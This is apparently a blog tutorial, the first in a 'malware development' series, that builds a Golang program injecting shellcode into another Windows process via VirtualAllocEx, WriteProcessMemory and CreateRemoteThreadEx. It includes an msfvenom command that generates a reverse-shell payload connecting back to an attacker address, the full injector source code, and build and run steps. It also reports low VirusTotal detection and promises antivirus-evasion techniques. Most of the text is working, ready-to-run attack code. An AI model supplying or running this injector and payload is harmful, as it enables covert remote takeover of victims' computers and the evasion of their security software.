Malware Development 1 - CreateRemoteThread shellcode injection (Golang)
Introduction
Hello hackers!
Today we’re gonna see a simple malware development technique, Shellcode injection via CreateRemoteThread in Golang. The most complex malwares use different shellcode injection techniques to bypass common AV vendors as the shellcode is executed in memory.
Executing shellcode
Let’s test this with a simple metasploit reverse shell, to generate it use msfvenom like this:
1
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.116.146 LPORT=9999 -f raw -o shellcode.bin
In this post we’ll be using the raw format, however in future posts we’ll see how we can combine encryption/decryption functions to avoid static scanning and much more
As every Golang program we start defining the package name and which packages we want to import
1
2
3
4
5
6
7
8
9
10
11
12
package main
import (
"os"
"fmt"
"log"
"unsafe"
"strconv"
"io/ioutil"
"golang.org/x/sys/windows"
)
To perform this technique we have to use some Windows API calls and to use them in Golang you must import them from their DLLs like this:
1
2
3
4
5
6
7
8
9
10
func main(){
// Import dll
kernel32 := windows.NewLazyDLL("kernel32.dll")
// Import the function
GetCurrentProcess := kernel32.NewProc("GetCurrentProcess")
// Call the function
GetCurrentProcess.Call()
}
This isn’t the only way to do this but it’s the most used and it’s easy to implement. Other option is using CGO to use C code
We also should have in mind that all the API calls return 3 values but we just will use the first and the third of them. Once we know how to access the Windows API in Golang we can continue.
The first step to inject shellcode is to get a handle to the desired process:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
func main(){
...
// Get function from kernel32.dll
OpenProcess := kernel32.NewProc("OpenProcess")
pid := 1042 // Process ID (change it)
procHandle, _, _ := OpenProcess.Call(
windows.PROCESS_ALL_ACCESS, // Access to the process
uintptr(0), // FALSE
uintptr(pid), // Process to open
)
if procHandle == 0 { // Handle error
fmt.Println("An error has ocurred with OpenProcess!")
os.Exit(0)
}
}
Notice that you must have the right permissisons to get process handle
Now we allocate the memory buffer so then we can write our malicious bytes. To do this we use VirtualAllocEx
Note the “Ex” at the end of the function which means that it can allocate memory on remote processes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
func main(){
...
VirtualAllocEx := kernel32.NewProc("VirtualAllocEx")
addr, _, _ := VirtualAllocEx.Call(
uintptr(procHandle), // Process handle
0,
uintptr(len(shellcode)), // Shellcode length
windows.MEM_COMMIT | windows.MEM_RESERVE,
windows.PAGE_READWRITE, // memory permissions
)
if addr == 0 { // Handle error
fmt.Println("An error has ocurred with VirtualAllocEx!")
os.Exit(0)
}
}
Then we use WriteProcessMemory
call to write the shellcode into RW allocated process memory space
1
2
3
4
5
6
7
8
9
10
11
func main(){
...
WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
WriteProcessMemory.Call(
uintptr(procHandle), // Process handle
addr, // VirtualAllocEx return value
(uintptr)(unsafe.Pointer(&shellcode[0])),
uintptr(len(shellcode)), // Shellcode length
)
At this point we use CreateRemoteThreadEx
call to create a new thread in the especified process which will finally execute the shellcode:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
func main(){
...
CreateRemoteThreadEx := kernel32.NewProc("CreateRemoteThreadEx")
CreateRemoteThreadEx.Call(
uintptr(procHandle),
0,
0,
addr,
0,
0,
0,
)
}
And finally we close the process handle using CloseHandle
call:
1
2
3
4
5
6
7
8
9
10
...
func main(){
CloseHandle := kernel32.NewProc("CloseHandle")
_, _, err := CloseHandle.Call(procHandle)
if err != nil {
log.Fatal(err)
}
}
Now we put all pieces together and add more output info to create a more readable program
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
package main
import (
"os"
"fmt"
"log"
"unsafe"
"strconv"
"io/ioutil"
"golang.org/x/sys/windows"
)
func main(){
pid := os.Args[1]
shellcode_file := os.Args[2]
fmt.Println("Process ID: " + pid)
fmt.Println("Shellcode file: " + shellcode_file)
// Convert CLI argument to int
pid_int, _ := strconv.Atoi(pid)
// Open given path
f, err := os.Open(shellcode_file)
if err != nil {
log.Fatal(err)
}
defer f.Close()
// Get content as bytes
shellcode, err := ioutil.ReadAll(f)
if err != nil {
log.Fatal(err)
}
fmt.Println("Loading DLLs and functions...")
kernel32 := windows.NewLazyDLL("kernel32.dll")
OpenProcess := kernel32.NewProc("OpenProcess")
VirtualAllocEx := kernel32.NewProc("VirtualAllocEx")
WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
CreateRemoteThreadEx := kernel32.NewProc("CreateRemoteThreadEx")
CloseHandle := kernel32.NewProc("CloseHandle")
fmt.Println("Calling OpenProcess...")
procHandle, _, _ := OpenProcess.Call(
uintptr(0x1F0FFF), // Access to the process (PROCESS_ALL_ACCESS)
uintptr(0), // FALSE
uintptr(pid_int), // Process to open
)
if procHandle == 0 {
fmt.Println("An error has ocurred calling OpenProcess")
os.Exit(0)
}
fmt.Println("Allocating memory with RWX permissions...")
addr, _, _ := VirtualAllocEx.Call(
uintptr(procHandle),
0,
uintptr(len(shellcode)),
windows.MEM_COMMIT | windows.MEM_RESERVE,
windows.PAGE_EXECUTE_READWRITE,
)
if (addr == 0) {
fmt.Println("An error has ocurred on VirtualAllocEx!")
os.Exit(0)
}
fmt.Println("Writing shellcode to buffer using WriteProcessMemory...")
WriteProcessMemory.Call(
uintptr(procHandle),
addr,
(uintptr)(unsafe.Pointer(&shellcode[0])),
uintptr(len(shellcode)),
)
fmt.Println("Calling CreateRemoteThreadEx...")
CreateRemoteThreadEx.Call(
uintptr(procHandle),
0,
0,
addr,
0,
0,
0,
)
fmt.Println("Calling CloseHandle...")
_, _, err = CloseHandle.Call(procHandle)
if err != nil {
log.Fatal(err)
}
fmt.Println("Shellcode should have been executed!")
}
This is the final result of the program. Now compile the program in your attacker machine:
Command for linux
1 GOARCH=amd64 GOOS=windows go build main.go
Command for windows
1 go build main.go
Now let’s see how it works!
Demo
Download the generated .exe and the shellcode file in the “victim” PC. To use the program especify a PID and the file where shellcode is stored
For testing purposes start a notepad.exe process and especify its PID
1
.\main.exe <pid> .\shellcode.bin
And if I check my netcat listener…
As you can see I’ve catched the reverse shell and if you open the Process Explorer you will see that there is the notepad.exe process but no new process was created
Let’s upload the generated .exe to VirusTotal and antiscan.me to see the results (I use VirusTotal as it’s just for testing purposes, not for real malware because it gets burned out)
As you can see 7/69 detections isn’t bad at all, but it occurs because the program receives the arguments via CLI so when VirusTotal analyze the file it just gives an error and exits, and the shellcode isn’t hardcoded on the source code so it really helps
References
1
2
3
4
https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess
https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc
https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory
https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethread
Conclusion
This technique is simple but really useful to see how we can leverage the Windows API to execute malicious code. In the following posts I’ll show you different techniques to bypass AVs and much more.
Source code here